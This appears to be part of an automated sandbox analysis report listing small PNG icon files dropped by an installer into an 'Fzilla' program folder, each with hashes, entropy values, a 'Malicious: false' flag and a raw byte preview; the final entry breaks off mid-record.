Preview:	.PNG........IHDR................a....IDATx.b.\|.../<....4.......f.!7..-......4........Y...Z..`...I..&(o.>....{.j.5..- .... .......OH..._`.?.k..X.V2.'.K.+....x}O..4...E....].(.x. k..A5A..;......./....&.@.8./@..h..s._.K..&.`..}s...{.......?...O...'.o3rM...).M......._.......o.{.....~..(6....?.`f2.]....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-N7JH4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	571
Entropy (8bit):	7.357843398812955
Encrypted:	false
SSDEEP:	12:6v/7jDrfSjDlYUeuXi4iB2sh3FbMc2dobnTnrv47ZiN:Ir8lYUe2e2sh1IVS3vTN
MD5:	F639FC64785033EEB01CF56D647C001D
SHA1:	C2FC2BF6822397F7A66538B30BB29B97AFE897F0
SHA-256:	C33E12F993DA6C91FAC78BA3B259FF81C13C73938075E81556A823964CE66A23
SHA-512:	48B60B84F42F29EB797606082EC4B29398312C49C2F9557DB120DD7B876449435C1418D10564C79FF01B02A802490CF167E4221F832E19B71F10403A9E1FF0AA
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c@.....%...#........Y.%../j..#......Q.a.3_..._.7...-. .,....R...B.......X..qp./z..y..?B.R 1v)+.ny..1..^....5.....OI.spp.+..kT7.rwO.n`bfe)...E...?..T$<S&.;t.....Y........\|e .?..A.]./(W...g.....s...{..a../Im.......v.....@.5......W...0..Q....;D6.w....c...M..x........u\|.....3f.. lV\.....[k...k\G].........q....m.+2a....Izm@..mg.RS...... ..;..../NE..V..P.\|A!..y6A5U.... .7?wP...^....8y88y...x.!.OD.._L.[@L.......uS_..5._......+..yY....~Q.....5...8.E`..b....t~.F ..b#....'=..4.......`.Q.x.....K{<a...5.V..)....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-N878S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	595
Entropy (8bit):	7.5078827190688235
Encrypted:	false
SSDEEP:	12:6v/7QSNr/5eTiRhU/PQD8lfqrk/QiQKzEBIbf8+blD8nRoVPO9:eBvuIkfaiH8Iz8+xDwiVa
MD5:	856047460F44A3D0582F396D76367179
SHA1:	7CC18E999B5C1DC155E6FF547DB2AA20EFADD450
SHA-256:	AC97A63EBA30A43CE50D13779CFBD237564F282CF76D9ECAB9E0616E765181FC
SHA-512:	661086660BE0A8059C3C3577114BAA40B61901A4E8AB04C968B077DF96D1485F4B47B94A156334ABE82F59EC499925EC83C188B356E1078C7605F7F1B60DB9F6
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....Q..s^_......5.V....<{.Z..l..k....Oyq.\.........f.X.iX.TF..J(....o...p.\|...{.r.h5.~..,.....B...O.>=.....d.ZeF..?...8~."........F[G........{...v.......[_[...4.....B.....9x..&.... #.L....p...c...&..vX.z.\|.@...V.}.E.I$a....h......B...'.)...H..H.W.....SF4...G.. .......4.z....r.5X...E.....5....q.\.......y......~A..[[L'.-Ox.RL........k.'.%.1...(....W.w...%.....G..Y.J)^.0..<.....H.3..:............$.@....4."08....5.....7......l6.\|.@.-.r...{.....tDy......../.N...`.A,.(...N.../F..lZ.2.o........'%.).8)z."=.~...b....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-NK69J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	182
Entropy (8bit):	6.373621698738607
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6PtYDCXgiukAYZNL/OY97gppJNgagHRPLfckknVe8B6kF+VQ:6v/lhPO6WfwZx/Om7mJNhgHCVjBPkF3w
MD5:	8C4257477AD350959B683DFCF193C8ED
SHA1:	E34A8264249F3D056FD4889365FAFB48EC01F884
SHA-256:	8E20DCA41C350BD2081603DDF55DD42310F15BCA2F13FECD1E0BAEB76431A277
SHA-512:	537AAEE647341B89E8A34AEE5CC108837C0114B3081B3BEC143A4D61513E348BA3FAE5C24A6F94ECD3372D9E26F2AE1095C2B3FA6AC92160DA40C1097504313B
Malicious:	false
Preview:	.PNG........IHDR...............7....}IDAT(.c`..x...z/..>....M.........0.....h....~..o....}.~a.%T.,....V....b..2......t..v...]x............?.....Y.... {..0.....5DS..J....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-OF8PR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	391
Entropy (8bit):	7.276924159510342
Encrypted:	false
SSDEEP:	12:6v/7PkNIVlUt6nOvr6TULRzGIBmV/bZzIQtp7:7GWDj6EzGdzZHtp7
MD5:	8E9484762E3CA06C612752B395EBCF3A
SHA1:	05188934B2F9E7E5FE72BDBDDD0551725135AECF
SHA-256:	B742D6EAA8271CD2BB0FA3B20C35188C840EC72D11DC750CE9683FB0702778E8
SHA-512:	A4A62EF29A29B903C361639E44E7A85F5E851C1F764C784B63E617406C1550E451F665134CE726B25B9824009D4B2E0ED3237F1BCBD9D82E04CCF7C735B72283
Malicious:	false
Preview:	.PNG........IHDR...............7....NIDATx....o.a......Mi.^.....AB.0...g.Z.1.#$..."..f1......A..@..Dh..r....^f......\i.>.mb}..#......#...\|O.."{}.4.....d......Z'...Y.n~8.H...l....\........I......A..8.l..-.....]=.k.a...9,Hh..TTze.X.,...%(..2P.x....s?.DO..wr..6.i....3$..5.\K.U.,.fnw6......\M..M...e.$1!..k.qI..%.@L ..#.;.'%....h......W].....+..%S./....7..u_j.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-PCDUJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	282
Entropy (8bit):	6.90095293813037
Encrypted:	false
SSDEEP:	6:6v/lhPO6NAlE89ZPDjbQKETOD8qnra5eOaUyPRt16Gagd9m7uLl0LmSup:6v/7PO9ZbgSD5jOZyPLqSm7Sl0Lw
MD5:	625804B0DA8E79E3E31B5A664E413EEB
SHA1:	FECE6EF2D0343157064F5BD23725F9754E209641
SHA-256:	1446ADC561C5531B89543351BFCB0F925BF2023507C365340F702EE2EF0506E0
SHA-512:	E1C087957FFA6078B3DE38A01D02C8DBC4991B2748FA02A10BB20D43BF5F2998B5710A5CBCC6884F13D6710960774DD16C87FC17482F26BBB679D500C825EDF8
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDAT(.c`.:...G..`G...5.X....NJ.1p..n``.@..{.....].C:.t...g..qf..%.\..Gu.W.y.w..............%..?.............m......(.~p7?._......[.....PP......]..?.(.....hB.k.3...8\|.E....[Y.s.../......u...G....%{.@p.._-.B......w1..L.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-PKL1B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	270
Entropy (8bit):	7.015272532597241
Encrypted:	false
SSDEEP:	6:6v/lhPO6xAwQAF1EJSKZOTbhFm8ch7yOeGGmG3bp:6v/7P2AkHZOJFuyOeG0F
MD5:	04C9BF0E976D58746509191EB544DD5C
SHA1:	8D66AE72F3AA5779D2DEDABB05836B125BE934CF
SHA-256:	1AD78DC10FE08FD8BAC26AFD9D6DE513B3D63D141B0F8E51CB487251E9963A21
SHA-512:	EBA144833097C513BA1321A8626DA7319B100F6B8182C6B8F36C284A5FA99E52421EDD51E0660F3B931BAC94CA43AD28CE7C6E5C84E8DD23B32E9E66AA959053
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDAT(S..Mj.@..a..-<.[.....]..z.M1.,J........`+.wf.J..&Fp^..<\|L...9.f.I...H....7IPo.."...Q\|.a..0..G...C........B". p..y.xl8#Q.X0..bj.c./hB~.......?.Xg...(......>'4...#._...ln.........k..]Y.N*..n.......W."1]...C....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-Q1RSA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.7433247823163835
Encrypted:	false
SSDEEP:	24:rwhXol60fjy1p3SjCsgCUZfrPzyOSnFG/b:U+60ry1p3SjCsYZfrPO4
MD5:	A34C5EE7AD964372622803F63F0B60A2
SHA1:	4AB2942BA820C81ACAD7E314F7F9CBEE2EDB766A
SHA-256:	F1029BE550D5258055138D707017054C7F3B2D648D6A222BD6C9F5E8BDB51197
SHA-512:	3C51B08A18E4AFF42F741894CB7B023450BCAE7AE9A5DA46E3C2C1671219BF6828E827017DCC0AE93C70170E8D6D2020D9178D61AB6F50C3D6A45B2B28520AE0
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.l....L...).Y.m.~.y.m.m.m.....t.T.\|/)".ma../P;.&.....W..=.04....(.....C.........{3..L..02.>....m\.<....1..)>..J..H"9...j.%Y...'..#pFQ.e[X...........z.....=..,...h.y....nnpT..d.r.....>@.%..).p\..zP@5....f....\|.......v.D...R.....L..1.\........(..-.e...8q...B..!.......m......j.>n.Fx.K;..f.b.::^<..Z..>7..y...tw....T.'..S....%....8e........h...jS.6E.!R....&q....m...!B\$...).R.qA.a..J.g.W.s.j"h..."l..,.\;.\..`y..._..EWZ}[~.-,......8.&..5....fv...2`.....'..../50a.Qzsa..S%0.Bs.....;..V.i..7T\..Y....G....3..oK.~[S....P.Y..zmHz.w[2...s.5...[...F.p.v.6..6.....^k.k...gS.'4pg...gK....s...#+n...l..]3O.>Q........F..P.E.w..E......K...w.V..3p.".W..q.....s.,....8.\,~... X..=.....`;...n.}5.....)[n.j...C7.p..Mk1..Y.g...V....G.Z;3+#+<;.019D+...x\...[...K:vba 9....F..J.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-RTEGE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	313
Entropy (8bit):	7.058623871364096
Encrypted:	false
SSDEEP:	6:6v/lhPWdmieP6HD/CG3UxPX3uUk/Ni7WUJcQrGnk4O/7qvmbNCzmvtKW2fm3nUVp:6v/7yFH+uWPnuUkViqOHrGnMnNamvQ/l
MD5:	26F157F55B230ACF358C0AB56B33B310
SHA1:	00D94E8A67400143F01CF93656A306B88379D1B6
SHA-256:	731AEF09E1554C428EF3DBB1D3ECF7889DB5B4EE680130F432DF95125E329BAF
SHA-512:	C974225D52F3617C4EF3CD303D0EDBA6739B0746C37B9C76CB9FE74349D15424E57F7825B3D836474A7C95853F5EA375EF13D400C8B71984A152A5810FC4F220
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c..`c.D...K*.....(.&Zcpp0k&...S.....$......D..>.-.<K...\|.G..C....].I..@;a.Q.<...(K..].1}..V..w..+......5.9J...JL..`..,..G..~..+<Ar@Fs.f..J.q.;....[.I.5YDt....?$...Y%.d..9.......g.I'+..2........XD.&.x,.fW. ......8...g..A...qz..&-.....0.....P...E....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-S8L75.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	503
Entropy (8bit):	7.476611124995403
Encrypted:	false
SSDEEP:	12:6v/7kQCavFP4Q9s49rORSFQd/mHDpUGOX78Vx0q7WnuK9:mCqh4Qd9rORwlULYDgT9
MD5:	AB8EF66EDE19BEBB12708C2366B53149
SHA1:	E6B1AE94F256DEDCC2A2159485A3F560F799B562
SHA-256:	6AD756F2BA1526759F04C778BC706F8E8FCCA1D911EDBCE572CB3981A322AB85
SHA-512:	54B697D8C5AB290A6AF7336C4F249EA961E97572FDC7B4BEAB6D5B5DF0B6EAEF57F4A04E4051AD9B7E0DB3347A89AB21A0A174D77AED437120FB6E261A9ABCCF
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b......8.Z..Q..l.r...g.m.m...g.]...N.f...8.......u.....H....HMM=...?...........H$.D"....a.m....X$....k.......NI... .y...As.[...B....rt...^j..e..lhh...)n/...Rg6.4...........}...Y....#..tw.-89E./....5xR@1..f..y.W..1.=..+.......0.....xY....../tN.o.x....(..p\iL.H....nG.@...(.-.7k"...y..'..........^.h.).T..c;...aHN.?...})...........ee.zDK.d.;.eO..=iX..7.K.......$7....H.P"...{.*+...z.......[jkk..h5.U.....m.......j1..x.7....4......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-U5BNN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	643
Entropy (8bit):	7.573316073556545
Encrypted:	false
SSDEEP:	12:6v/79iX9NnMnsG7gq/yhCsdhdYq2J0cO4nffMV575gNgx8pKW8:g6MshPdhdTcO4HW575gax878
MD5:	CFEE3117C2DE2066E27F57CC9FD96817
SHA1:	B0F2F46E69CCB08F637C2B6FAF458F770D4A3173
SHA-256:	C2D357A18177CA549BEF2F6620593F4D3B314281123A4A1D0E9E4D23548DF75E
SHA-512:	D6C6E714FAF7170E8C491EFB922F9814301F59B4647D7700D5108C67015F401992D3E156C579EE79ADB24309EE5F7169DB6850B5CBFEE8437F620C7981FF4727
Malicious:	false
Preview:	.PNG........IHDR................a...JIDATx.b.p.....-...=.K..`......m...mk.l....m.4..........I.T<.uz..LBU...J......N.(..n...;.s.y^qe....c.B..LN.!.O.-..k....D.k..!.E../_...H.Z.@..u.\|y.:.i...//...%LZ.B.F.@0..5E.zK.j.....q.FN...k.uZ...u..r.B..k.\a....`%....~..\A.a.$TY@....#./}.!....m.?..x...n.D...]...J.i.@..A.<..Q _...:(...4....c(B..A..."~4...Tv....N..n....(%.0P...M%Q.I.~%F."1.A...g..R..+.....m.......t...nI...q.......n......k6....0.]R...2.B...T..a."Ah......n^\|m.T..].aC!....e%.j.j6..zv.....T<..x:.Y.......m...E:._....+$..!tM8..q'..kp._@'..!....b.......9P.Q..7..1.....f.?CR....q."......X...F.1..fo.pz....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\leds.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.7433247823163835
Encrypted:	false
SSDEEP:	24:rwhXol60fjy1p3SjCsgCUZfrPzyOSnFG/b:U+60ry1p3SjCsYZfrPO4
MD5:	A34C5EE7AD964372622803F63F0B60A2
SHA1:	4AB2942BA820C81ACAD7E314F7F9CBEE2EDB766A
SHA-256:	F1029BE550D5258055138D707017054C7F3B2D648D6A222BD6C9F5E8BDB51197
SHA-512:	3C51B08A18E4AFF42F741894CB7B023450BCAE7AE9A5DA46E3C2C1671219BF6828E827017DCC0AE93C70170E8D6D2020D9178D61AB6F50C3D6A45B2B28520AE0
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.l....L...).Y.m.~.y.m.m.m.....t.T.\|/)".ma../P;.&.....W..=.04....(.....C.........{3..L..02.>....m\.<....1..)>..J..H"9...j.%Y...'..#pFQ.e[X...........z.....=..,...h.y....nnpT..d.r.....>@.%..).p\..zP@5....f....\|.......v.D...R.....L..1.\........(..-.e...8q...B..!.......m......j.>n.Fx.K;..f.b.::^<..Z..>7..y...tw....T.'..S....%....8e........h...jS.6E.!R....&q....m...!B\$...).R.qA.a..J.g.W.s.j"h..."l..,.\;.\..`y..._..EWZ}[~.-,......8.&..5....fv...2`.....'..../50a.Qzsa..S%0.Bs.....;..V.i..7T\..Y....G....3..oK.~[S....P.Y..zmHz.w[2...s.5...[...F.p.v.6..6.....^k.k...gS.'4pg...gK....s...#+n...l..]3O.>Q........F..P.E.w..E......K...w.V..3p.".W..q.....s.,....8.\,~... X..=.....`;...n.}5.....)[n.j...C7.p..Mk1..Y.g...V....G.Z;3+#+<;.019D+...x\...[...K:vba 9....F..J.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	530
Entropy (8bit):	7.456602635417933
Encrypted:	false
SSDEEP:	12:6v/7SzjK3rEZcjrnPFQ9LqaODth/yZko7tVC0xgxWLD5dp++Ye6Zk:bjKEZcjrmXgI+QzC0xVDvD6e
MD5:	91393DDC9493DD4F714DA035E76AE8DF
SHA1:	503309EDD6B63AF6D82C43E9DF6536C452802E20
SHA-256:	E6A7CC290CD9A878AFC7412C50A713934DBFD28DFE0ADEEA462C9E3932BBCAEE
SHA-512:	C3123B093C1D62ABB26207BA90A0E9E6D748BD55AFD3A8D0A450A38A5445B6613EA52B8E7D5F57E6CEB0BFB2BB92A80C8D5F9F0845ADCC798199704D0D1983DB
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b..0....sWPP..2..={v:''g.......TKHH....J...(z.....A7.f.G7\;.q+X.)...........\.I....~...?O[.V.......0...`..{.}{...K)...3...[.....:0M3x..C.Z-KD......D..a..."....UQ.23-Y..y>.?6D.n.....`T..q.M.F.....d..@.>...^........@..a..,X.U6.34...P.....6....Hf....z.V.... ........Ac<..@.....N..._.....k.'.z-.{..1k..I.@...-......H.M#...m..x.f.O0.DC...0...p#>.]..mamt2.V.. .......?u.x*.....>}..H(...M@..mE.....}.....U.L........j.e..%.....j..&....Jzh..3.aJ.R.........l.?....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	282
Entropy (8bit):	6.90095293813037
Encrypted:	false
SSDEEP:	6:6v/lhPO6NAlE89ZPDjbQKETOD8qnra5eOaUyPRt16Gagd9m7uLl0LmSup:6v/7PO9ZbgSD5jOZyPLqSm7Sl0Lw
MD5:	625804B0DA8E79E3E31B5A664E413EEB
SHA1:	FECE6EF2D0343157064F5BD23725F9754E209641
SHA-256:	1446ADC561C5531B89543351BFCB0F925BF2023507C365340F702EE2EF0506E0
SHA-512:	E1C087957FFA6078B3DE38A01D02C8DBC4991B2748FA02A10BB20D43BF5F2998B5710A5CBCC6884F13D6710960774DD16C87FC17482F26BBB679D500C825EDF8
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDAT(.c`.:...G..`G...5.X....NJ.1p..n``.@..{.....].C:.t...g..qf..%.\..Gu.W.y.w..............%..?.............m......(.~p7?._......[.....PP......]..?.(.....hB.k.3...8\|.E....[Y.s.../......u...G....%{.@p.._-.B......w1..L.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	391
Entropy (8bit):	7.276924159510342
Encrypted:	false
SSDEEP:	12:6v/7PkNIVlUt6nOvr6TULRzGIBmV/bZzIQtp7:7GWDj6EzGdzZHtp7
MD5:	8E9484762E3CA06C612752B395EBCF3A
SHA1:	05188934B2F9E7E5FE72BDBDDD0551725135AECF
SHA-256:	B742D6EAA8271CD2BB0FA3B20C35188C840EC72D11DC750CE9683FB0702778E8
SHA-512:	A4A62EF29A29B903C361639E44E7A85F5E851C1F764C784B63E617406C1550E451F665134CE726B25B9824009D4B2E0ED3237F1BCBD9D82E04CCF7C735B72283
Malicious:	false
Preview:	.PNG........IHDR...............7....NIDATx....o.a......Mi.^.....AB.0...g.Z.1.#$..."..f1......A..@..Dh..r....^f......\i.>.mb}..#......#...\|O.."{}.4.....d......Z'...Y.n~8.H...l....\........I......A..8.l..-.....]=.k.a...9,Hh..TTze.X.,...%(..2P.x....s?.DO..wr..6.i....3$..5.\K.U.,.fnw6......\M..M...e.$1!..k.qI..%.@L ..#.;.'%....h......W].....+..%S./....7..u_j.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	343
Entropy (8bit):	7.115977369006804
Encrypted:	false
SSDEEP:	6:6v/lhPWbyf4zMVm5VwISwhao8iF+OlvW/QGWEwR0MLXQOiEIfmE5p:6v/7akPm7X7htTlvCQ5mMLXQ8Ij
MD5:	8173CF7E3B074B6EC28CC6DD45CA94F0
SHA1:	1D189C28347A54F11DC8C869B67254B3408A3AFA
SHA-256:	04CF8D2BA9BA6361AA2B2CC8D1ED74DF1D1000339194D71AF568BBA3967A2E0E
SHA-512:	2A434831F503721D5656314A9111BC272D22818B7AA5D149BA5000BF2C9F71D48AB97CCAA6BBD20FE4158D0A20C27C36C7FA26F75BD5C83C6F590870AD75EBD3
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c.&..?,.o.>{.......U.s...;v.`"h..O..kkk.{zz......>{{{...%.4z..........; `.......((h5..aj...7....v.#..3....P.......nl...'.O..ms.m..$.`.......?..u}.kl....GF......o.......d...C..9......%...&.kl.#...[.dc....."....]]]7.....=<<...QYs...t..h......'R6m......?~...`...3...7...._^g3.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	505
Entropy (8bit):	7.475329434666842
Encrypted:	false
SSDEEP:	12:6v/7yaIFwXkKoTCDM6aTrbRYVK/Dg5U7KHxF2q:KUwXt0Vg5U7U2q
MD5:	4ED1E006F06AD3729510D7378A212ECA
SHA1:	9593C8D1FA14C63996231E3D2AFAC990066BB72B
SHA-256:	D2CCB02C79AE185B559C8E67F1B8C0548D8E4EC5CA3108E5A5E55E1B3A8A56EC
SHA-512:	669F8E733D3DDD22DD1EB57543C15ED93D6B809D8D8BCFCCC031470201C8A69CA2BED0856F6F6E65F55220408BC503CD088337DED1E5C821EE3C45B6069E81EF
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b...8q...k[.[..d..........su\\..... ...Y.P...n66....Srrr.111..x7.m..cgg......mmm.........M.0.AAA.....Wyyy.........../...?.~)...f.!.o ..].....#..jnj...6.Z1_Tk..g>.q<_.$..l..th5;T..7o...M.A.^..g.......0..=~.X.m......q..$dJ..u.Q...Q.c.L?V.%.a..<....Bl7$...$FU.?.x.......Zv..8Z]...2....x......[`Y.A.q.......my.x...!\.....+...L........CXu.l...../.%.q.~&F......J...(......p8,.h...5MS1t..T+4.A.V..z..:...yOvp...k..r...x...`0X1.!.[..`Rs].....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	643
Entropy (8bit):	7.573316073556545
Encrypted:	false
SSDEEP:	12:6v/79iX9NnMnsG7gq/yhCsdhdYq2J0cO4nffMV575gNgx8pKW8:g6MshPdhdTcO4HW575gax878
MD5:	CFEE3117C2DE2066E27F57CC9FD96817
SHA1:	B0F2F46E69CCB08F637C2B6FAF458F770D4A3173
SHA-256:	C2D357A18177CA549BEF2F6620593F4D3B314281123A4A1D0E9E4D23548DF75E
SHA-512:	D6C6E714FAF7170E8C491EFB922F9814301F59B4647D7700D5108C67015F401992D3E156C579EE79ADB24309EE5F7169DB6850B5CBFEE8437F620C7981FF4727
Malicious:	false
Preview:	.PNG........IHDR................a...JIDATx.b.p.....-...=.K..`......m...mk.l....m.4..........I.T<.uz..LBU...J......N.(..n...;.s.y^qe....c.B..LN.!.O.-..k....D.k..!.E../_...H.Z.@..u.\|y.:.i...//...%LZ.B.F.@0..5E.zK.j.....q.FN...k.uZ...u..r.B..k.\a....`%....~..\A.a.$TY@....#./}.!....m.?..x...n.D...]...J.i.@..A.<..Q _...:(...4....c(B..A..."~4...Tv....N..n....(%.0P...M%Q.I.~%F."1.A...g..R..+.....m.......t...nI...q.......n......k6....0.]R...2.B...T..a."Ah......n^\|m.T..].aC!....e%.j.j6..zv.....T<..x:.Y.......m...E:._....+$..!tM8..q'..kp._@'..!....b.......9P.Q..7..1.....f.?CR....q."......X...F.1..fo.pz....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	451
Entropy (8bit):	7.376232864388554
Encrypted:	false
SSDEEP:	12:6v/72ARUCiAqlz5bCfnSmE52RGmLSt3l1RLXFK42ec:Ah0unHE528mLK3l1tXFxE
MD5:	CD9BAD2367655ECBF4F0C18F4F95F4EC
SHA1:	2BF6A4709A63BB9BF88E18CA7B8F0C50F6D34B0E
SHA-256:	F4D6DF9DF678C238D9CB471E79A8C1176B913574B4993ECEE83EA53F974E6885
SHA-512:	1DAC7C01AB13F2F9743BE993002F4C92B48C942F95BDED0A4548D2C7762AFED85AB72A885182943FEC9237209533AFBDDE633194C6EEECC8302853A0AA7FEAE2
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c.\|`...l....$..>qV...........y..Z.}...b....Q....znxV......5....F%..../....+I...f..ME..U..b....+..D.arV>j!..f......y....Y.._4..H.eAT........!y......_....j.2@V].`...~...\|..]....X9x.q. .<.l....)a...k5..D..p.`...4.L....ra...}L...^.._0.Y..[......! .<...g,.i;.w....-.......$f.P.Z......{...99Y..F..e._.W....x..vxO....w.._...oV.aa.....2.Cp~dH.V.........k.....N..g.I.........r*....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	518
Entropy (8bit):	7.417467319549082
Encrypted:	false
SSDEEP:	12:6v/7mKafKSkCiS5/m6MDCWWeaGWoStWi/cvI8SVi4rF:GafKdC/M2WWeHWrtWvpSVbF
MD5:	F2D685B4359744ADBF97BF035D78F23B
SHA1:	CCBB897C1C5A648CE5E18572B7EC9DB172763B21
SHA-256:	13FFB9AF847DB4E83B1D323405429919893FD6180FE0ADCE77A1B390273C1E5C
SHA-512:	2E5CD42B910A1138B88C563F7551E40FACEF918AC0A8C4C5F418E5D93396FFA58CD792A40A1BD1AA65F47B21F01A5D471D68B56D90E3C85DB59D751BA1821DFC
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b.....s_.n]..wN.2%...,.......k....&&&...WXYYM..q.e@\|\|..........qqq....-..q.....:~......._ZZ.h~,....0..v.....p.......W...pwwww..........hy..K.n..?...Y.f}.7o^...._.....}6l...$I...[...=..O...C.Y.O...'u..M=x. .t.....3..9...K........._.?.".?.......Vx.D. "..H....DHFk,.1...~YK..2l..l.u,...[.r.......N:0 ..>.-_HU..Lwn.Z....i...pz.'c.w..+.$.......&G.fG..NG@..9.=....g....!=.=!...YvN.2.g..o7...\K./_+...........c.hCI.._+.Th.....o.E.~.T.2H.....t.~.&...5".{....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	453
Entropy (8bit):	7.424482970442153
Encrypted:	false
SSDEEP:	12:6v/7+MiblsIxWP1e9HQczNnon9IM42KpnHKfQXy8Ryg/2c:W4lsx6imd275892c
MD5:	B7D268F710075D632C748655173A1E1A
SHA1:	536139C0B6F6365209C1EACBF74FC156A06C7A58
SHA-256:	2F3E82E18D29078F0D04233DDF0E05AE840AF25E0983666B34DF09EDE4A72302
